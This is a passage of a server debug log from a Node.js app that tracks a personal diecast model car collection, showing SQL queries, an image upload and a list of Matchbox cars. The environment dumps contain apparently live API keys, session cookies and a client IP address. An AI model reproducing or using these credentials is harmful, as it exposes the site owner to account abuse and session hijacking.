    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T06:46:46.569Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:46:46.569Z server-connect:app Executing action step identify
2026-02-04T06:46:46.569Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:46.569Z server-connect:output identity: 1
2026-02-04T06:46:46.569Z server-connect:app Executing action step restrict
2026-02-04T06:46:46.569Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:46:46.570Z server-connect:output restrict: undefined
2026-02-04T06:46:46.570Z server-connect:app Executing action step condition
2026-02-04T06:46:46.570Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:46:46.570Z server-connect:app Executing action step update
2026-02-04T06:46:46.570Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:46:46.572Z server-connect:output update: { affected: 1 }
2026-02-04T06:46:46.572Z server-connect:app Executing action step upload
2026-02-04T06:46:46.572Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:46:46.572Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T06:46:46.572Z server-connect:upload Process fields: 'images[]'
2026-02-04T06:46:46.572Z server-connect:upload Processing file: {
  name: 'Screenshot 2026-02-04 105324.jpg',
  data: <Buffer >,
  size: 120399,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-24-20378841770187606567',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'f9413f26006e16fbe97c76834c5f8b36',
  mv: [Function: mv]
}
2026-02-04T06:46:46.572Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105324_2e51e5c4-a8d1-4d9c-8c31-bc16bb2c9b43.jpg',
  rel: 'public/assets/images/diecast/Screenshot_2026-02-04_105324_2e51e5c4-a8d1-4d9c-8c31-bc16bb2c9b43.jpg'
}
2026-02-04T06:46:46.572Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105324_2e51e5c4-a8d1-4d9c-8c31-bc16bb2c9b43.jpg',
  rel: 'assets/images/diecast/Screenshot_2026-02-04_105324_2e51e5c4-a8d1-4d9c-8c31-bc16bb2c9b43.jpg'
}
2026-02-04T06:46:46.572Z server-connect:output upload_image: [
  {
    name: 'Screenshot_2026-02-04_105324_2e51e5c4-a8d1-4d9c-8c31-bc16bb2c9b43.jpg',
    path: '/public/assets/images/diecast/Screenshot_2026-02-04_105324_2e51e5c4-a8d1-4d9c-8c31-bc16bb2c9b43.jpg',
    url: '/assets/images/diecast/Screenshot_2026-02-04_105324_2e51e5c4-a8d1-4d9c-8c31-bc16bb2c9b43.jpg',
    type: 'image/jpeg',
    size: 120399
  }
]
2026-02-04T06:46:46.572Z server-connect:app Executing action step repeat
2026-02-04T06:46:46.572Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:46:46.572Z server-connect:app Executing action step insert
2026-02-04T06:46:46.573Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T06:46:46.574Z server-connect:output images: { affected: 1, identity: 175 }
2026-02-04T06:46:46.574Z server-connect:output repeat_images: [ {} ]
2026-02-04T06:46:46.574Z server-connect:output condition: undefined
2026-02-04T06:46:46.831Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:46:46.832Z server-connect:app Executing action step identify
2026-02-04T06:46:46.832Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:46.832Z server-connect:output identity: 1
2026-02-04T06:46:46.832Z server-connect:app Executing action step restrict
2026-02-04T06:46:46.832Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:46:46.832Z server-connect:output restrict: undefined
2026-02-04T06:46:46.832Z server-connect:app Executing action step paged
2026-02-04T06:46:46.832Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:46:46.835Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:46:47.108Z server-connect:router Serving templateView /
2026-02-04T06:46:47.108Z server-connect:app Executing action step identify
2026-02-04T06:46:47.108Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:47.108Z server-connect:output identity: 1
2026-02-04T06:46:47.108Z server-connect:app Executing action step restrict
2026-02-04T06:46:47.108Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:46:47.108Z server-connect:output restrict: undefined
2026-02-04T06:46:47.108Z server-connect:app Executing action step restrict
2026-02-04T06:46:47.108Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:46:47.109Z server-connect:output restrict: undefined
2026-02-04T06:46:47.109Z server-connect:router Render template layouts/main
2026-02-04T06:46:47.109Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
